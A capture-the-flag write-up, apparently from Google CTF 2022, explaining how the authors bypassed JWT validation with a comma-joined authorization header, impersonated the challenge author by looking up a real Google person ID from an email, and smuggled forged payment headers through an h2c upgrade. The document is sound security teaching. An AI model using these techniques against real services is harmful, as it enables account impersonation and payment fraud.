We're given two websites:
- gpushop2: a shop built with Laravel where customers can buy the flag using ETH.
- paymeflare: the shop's reverse proxy and payment processor, built with Laravel and HAProxy.
The flag costs 1337 ETH. At current prices, that's about 2 million US dollars. We unfortunately aren't that rich, so we'll need to find another way to pay for our flag.
We can register for paymeflare and add our own sites to it. paymeflare functions as a reverse proxy; it adds a secret token (unique for each site) as the x-pay
request header. To verify that a request passed through paymeflare, gpushop2 checks the header value. So, if we can find this value, we can impersonate paymeflare!
We login to paymeflare with Google OAuth. The app identifies users with a Google JWT in the authorization
header. Before hitting Laravel, each request to paymeflare passes through HAProxy, which validates the JWT signature using Google's RSA key.
Interestingly, Laravel then just blindly trusts the pre-validated token in the header without completing any of its own signature verification:
$parts = explode('.', $token);
$data = base64_decode(str_replace(['_', '-'], ['/', '+'], $parts[1]));
$data = json_decode($data, true);
$user = $this->provider->createModel();
$user->id = $data['sub'];
We need to find a way to bypass this. Optimally, we would want a way to send two tokens: one which HAProxy reads and another which Laravel reads. If we manage to figure that out, we can let HAProxy validate a properly signed token while making Laravel decode our malicious token.
It happens that, when we send two values joined by a comma for the authorization
header, we get exactly this!
authorization: Bearer .base64({ sub: <anything we want> })., Bearer <valid JWT from Google>
Our request to paymeflare now looks like this:
sequenceDiagram
participant Client
participant HAProxy
participant Laravel
Client->>HAProxy: Authorization: Bearer abc, Bearer xyz
note left of HAProxy: Validates signature on xyz
HAProxy->>Laravel: Authorization: Bearer abc, Bearer xyz
note left of Laravel: Reads user info from abc
Now that we can authenticate as anyone, we need to figure out who to impersonate. Remember that the goal here is to get the x-pay
secret for the gpushop2 site. So, we need to find out who owns the gpushop2 site. After that, we can craft a authorization
header and grab the x-pay
.
Our answer comes in the form of the OAuth consent modal. When logging into paymeflare, we can click to find out who registered the OAuth app:
This is probably the challenge author! With a bit of luck, the author used their own Google account to register gpushop2 for paymeflare.
To test this, we'll need to construct a JWT with the correct Google person ID for epuig@google.com
. We can look this up by pasting the email into Google Hangouts:
And in DevTools, we see:
{
"results": [
{
"suggestion": "epuig@google.com",
"objectType": "PERSON",
"person": {
"personId": "113062232211527114766",
...
Now, we just need to put it all together. Let's make the authorization header for the account in the OAuth consent screen:
payload = json.dumps({
"sub": "113062232211527114766",
"email": "epuig@google.com",
...
})
our_jwt = "eyJ..." # from Google
print(f"Bearer .{base64.urlsafe_b64encode(payload)}., Bearer {our_jwt}")
We can now send our request:
GET /api/account HTTP/1.1
host: paymeflare-web.2022.ctfcompetition.com
authorization: ...
And paymeflare sends us the secret x-pay
value for gpushop2!
{
"user": {
"id": "113062232211527114766",
"email": "epuig@google.com",
...
},
...
"host": "gpushop2.2022.ctfcompetition.com",
"ip": "10.126.173.148:1337",
"secret": "d5180066901cd592b26c2b84f261bb37ce3aa3c8e0199781b6240bb9396ea48d"
}
When a customer checks out, paymeflare adds a x-wallet
header to the request before forwarding it. This header contains a newly generated Ethereum address; once the customer sends enough ETH to this address, the order is considered paid.
If we can set the x-wallet
header to an address with a balance greater than 1337 ETH (such as 0x000...000
), our order for the flag will be marked as paid.
Theoretically, we can now just send our request with the correct headers to the gpushop2 origin, right?
POST /cart/checkout HTTP/1.1
x-pay: d51...48d
x-wallet: 000...000
Nope! The server is only directly accessible at its internal 10.0.0.0/8
IP, so we'll need to find another way to send a request to it.
Maybe we can send a request to the gpushop2 origin from a different challenge? Google hosts their CTF using their own Kubernetes-based CTF platform, kCTF. It's open source, so we can take a look at how it does network isolation:
networkingv1.NetworkPolicySpec{
...
Egress: []networkingv1.NetworkPolicyEgressRule{{
To: []networkingv1.NetworkPolicyPeer{{
IPBlock: &networkingv1.IPBlock{
CIDR: "0.0.0.0/0",
Except: []string{/* ... */, "10.0.0.0/8", /* ... */},
},
}},
}},
},
It seems like they've already thought of this attack and blocked it! It appears that our only way to the gpushop2 origin is through paymeflare's HAProxy.
We now need to find a way to smuggle our x-pay
and x-wallet
headers across what looks like an impossible barrier:
http-request set-header X-Wallet EMPTY
http-request set-header X-Wallet %[var(txn.wallet)] if is_checkout
http-request set-header X-Pay %[req.hdr(host),lower,word(1,:),hmac(sha256,req.secret),hex,lower]
HAProxy seems to unconditionally reset the x-pay
and x-wallet
headers to its own values before passing along each request.
In addition to HAProxy, each request passes through Varnish before finally reaching Laravel:
sequenceDiagram
participant Client
participant HAProxy
participant Varnish
participant Laravel
Client->>HAProxy: GET / HTTP/1.1
HAProxy->>Varnish: GET / HTTP/1.1
Varnish->>Laravel: GET / HTTP/1.1
After searching for hours, we eventually stumbled upon some research into smuggling requests with the cleartext variant of HTTP/2, h2c
.
It seems like this attack will work! HAProxy is one of the few reverse proxies that accepts incoming h2c
upgrades by default, and the challenge explicitly enables HTTP/2 support in Varnish:
set -- varnishd \
-F -f /etc/varnish/default.vcl \
-a proxy=:8443,PROXY \
-p feature=+http2
To establish an h2c
connection, we need to start with a HTTP/1.1 connection and then upgrade it:
GET / HTTP/1.1
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
Once we send a request with these magic headers, Varnish responds with a HTTP/1.1 101 Switching Protocols
. HAProxy then blindly forwards the rest of the TCP connection between the client and Varnish. We now have a direct tunnel to Varnish and can send our own request with our own x-pay
and x-wallet
headers!
Using a modified version of BishopFox's h2csmuggler, we can now send our POST /cart/checkout
request from earlier.
Our request and response now look like this:
sequenceDiagram
participant Client
participant HAProxy
participant Varnish
participant Laravel
Client->>HAProxy: Upgrade: h2c
HAProxy->>Varnish: Upgrade: h2c
Varnish->>HAProxy: HTTP/1.1 101 Switching Protocols
HAProxy->>Client: HTTP/1.1 101 Switching Protocols
Client-->Varnish: HTTP/2 Tunnel
Client->>Varnish: POST /shop/checkout HTTP/2
Varnish->>Laravel: POST /shop/checkout HTTP/1.1
Laravel->>Varnish: CTF{...}
Varnish->>Client: CTF{...}
And our flag order is now marked as paid!
Philip Papurt (g@gnk.io) & Larry Yuan (contact@larry.sh)